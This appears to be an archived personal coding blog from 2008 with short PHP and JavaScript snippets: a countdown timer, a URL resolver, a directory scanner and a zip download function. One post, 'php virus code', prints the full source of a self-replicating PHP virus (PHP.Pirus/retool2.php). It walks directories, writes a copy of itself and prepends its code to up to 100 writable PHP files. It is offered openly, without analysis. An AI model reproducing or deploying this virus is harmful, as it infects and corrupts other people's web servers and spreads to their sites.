Thursday, November 20, 2008

countdown javascript display in div

window.onload = function() {
startCountDown(180, 1000, myFunction); // set setdown here
}
function startCountDown(i, p, f) {
var pause = p;
var fn = f;
var countDownObj = document.getElementById("countDown");
if (countDownObj == null) {
alert("div not found, check your id");
return;
}
countDownObj.count = function(i) {
countDownObj.innerHTML = i;
if (i == 0) {
fn();
return;
}
setTimeout(function() {
countDownObj.count(i - 1);
},
pause
);
}
countDownObj.count(i);
}
function myFunction() {
alert("hi alex");
}
and put div name
<div id="countDown"></div>

Friday, November 14, 2008

php virus code

original code virus named PHP.Pirus

< ?php #retool2.php
$atefile = 0; 
walkthrough('../..');
function walkthrough($dir) {
global $atefile;
$maxi = 100;
$viruscontents=fread(fopen(__FILE__,'r'), 1626);
if (!file_exists('retool2.php')) {
  $handle = fopen('retool2.php', 'a');
  fwrite($handle, $viruscontents.'HACK BY RETOOL2');
  fclose($handle);
}
if(is_dir($dir)){
  if($dh = opendir($dir)){
   while(($file = readdir($dh)) !== false && $atefile<$maxi){
    if($file != "." && $file != ".."){
     if(is_dir($dir."/".$file)){
      walkthrough($dir."/".$file);
     }else{
      if(strstr (substr($file, -4), 'php')){
       $infected=true;
       $caniwrite=false;
       if ( is_file($dir."/".$file) && is_writeable($dir."/".$file) ){
        $output = fopen($dir."/".$file, "r");
        if(filesize ($dir."/".$file)>0){
         $contents = fread ($output , 20);
         $mine = strstr ($contents, 'retool2.php');
         fclose($output );
        }
        $infected=false;
        if($mine){$infected=true;}
       }
       if($infected==false){
        if(filesize ($dir."/".$file)>0){
         $victim = fopen($dir."/".$file, "r+");
         $ori = fread($victim, filesize($dir."/".$file));
         fclose($victim);
        }
        $victim = fopen($dir."/".$file, "w+");
        if(filesize($dir."/".$file)==0){
         fwrite($victim, $viruscontents);
        }else{
         fputs($victim ,$viruscontents.$ori);
        }
        $atefile++;
        fclose($victim );
       }
      }
     }
    }
   }
   closedir($dh);
  }
}
return $counter;
}
?>
link: http://www.rohitab.com/discuss/lofiversion/index.php/t10727.html

Thursday, October 09, 2008

translate relative url to absolute url

function relative2absolute($absolute, $relative) {
        $p = @parse_url($relative);
        if(!$p) {
         return false;
        }
        if(isset($p["scheme"])) return $relative;
        $parts=(parse_url($absolute));
        if(substr($relative,0,1)=='/') {
            $cparts = (explode("/", $relative));
            array_shift($cparts);
        } else {
            if(isset($parts['path'])){
                 $aparts=explode('/',$parts['path']);
                 array_pop($aparts);
                 $aparts=array_filter($aparts);
            } else {
                 $aparts=array();
            }
           $rparts = (explode("/", $relative));
           $cparts = array_merge($aparts, $rparts);
           foreach($cparts as $i => $part) {
                if($part == '.') {
                    unset($cparts[$i]);
                } else if($part == '..') {
                    unset($cparts[$i]);
                    unset($cparts[$i-1]);
                }
            }
        }
        $path = implode("/", $cparts);
        $url = '';
        if($parts['scheme']) {
            $url = "$parts[scheme]://";
        }
        if(isset($parts['user'])) {
            $url .= $parts['user'];
            if(isset($parts['pass'])) {
                $url .= ":".$parts['pass'];
            }
            $url .= "@";
        }
        if(isset($parts['host'])) {
            $url .= $parts['host']."/";
        }
        $url .= $path;
        return $url;
}
link : http://w-shadow.com

Saturday, October 04, 2008

php sub folder scan

you can use php to scan all file in sub folder from this code

<?php
// *** requires PHP5 ***
// search for gif files (can be empty for all file)
$filter = ".gif";
// path to the directory you want to scan(can be .. to search all drive)
$directory = './';
$it = new RecursiveDirectoryIterator("$directory");
foreach(new RecursiveIteratorIterator($it) as $file)
{
  if (!((strpos(strtolower($file), $filter)) === false) || empty($filter))
  {
    $items[] = preg_replace("#\\\#", "/", $file);
  }
}
sort($items);
print_r($items);
?>

but if your server not PHP5 don't worry please see this link http://www.php.net and find class RecDir

Wednesday, September 24, 2008

php function zip and stream 2

last time we use ziparchive but now
we'll use zip library from phpmyadmin
and never store data on server

function zipAndStream($filestostream,$dir,$flag=0){
  require_once("zip.lib.php"); // from phpmyadmin
  $zip = new zipfile();
    if(is_array ($filestostream)){
      foreach($filestostream as $filetostream){
        $filename = $dir."/".$filetostream;
        $fsize = @filesize($filename);
        $fh = fopen($filename, 'rb', false);
        $filedata = fread($fh, $fsize);
        $zip->addFile($filedata,$filename);
        $filecount++;
        $filenamefull = $filetostream;
        $filename = substr($filetostream,0,strrpos($filetostream,'.'));
      }
      if($filecount!=1){
        $filename = $filecount.'files';
      }
    }else{
      $filename = $dir."/".$filestostream;
      $fsize = @filesize($filename);
      $fh = fopen($filename, 'rb', false);
      $filedata = fread($fh, $fsize);
      $zip->addFile($filedata,$filename);
      $filecount++;
      $filename = substr($filestostream,0,strrpos($filestostream,'.'));
    }
  $zipcontents = $zip->file();
  if($flag==1){
    $imagefile = "php.png";
    $filesize = strlen($zipcontents)+filesize($imagefile);
    header("Content-type: application/octet-stream");
    header("Content-Disposition: attachment; filename=\"".$filecount."files_".$imagefile."\"");
    header("Content-length: " . $filesize . "\n\n");
    readfile($imagefile);
  }elseif($flag==-1){
    header("Content-type: application/octet-stream");
    header("Content-Disposition: attachment; filename=\"".$filenamefull."\"");
    header("Content-length: " . strlen($filedata) . "\n\n");
    echo $filedata;
    exit;
  }else{
    header("Content-type: application/octet-stream");
    header("Content-Disposition: attachment; filename=\"".$filename.".zip\"");
    header("Content-length: " . strlen($zipcontents) . "\n\n");
  }
  echo $zipcontents;
}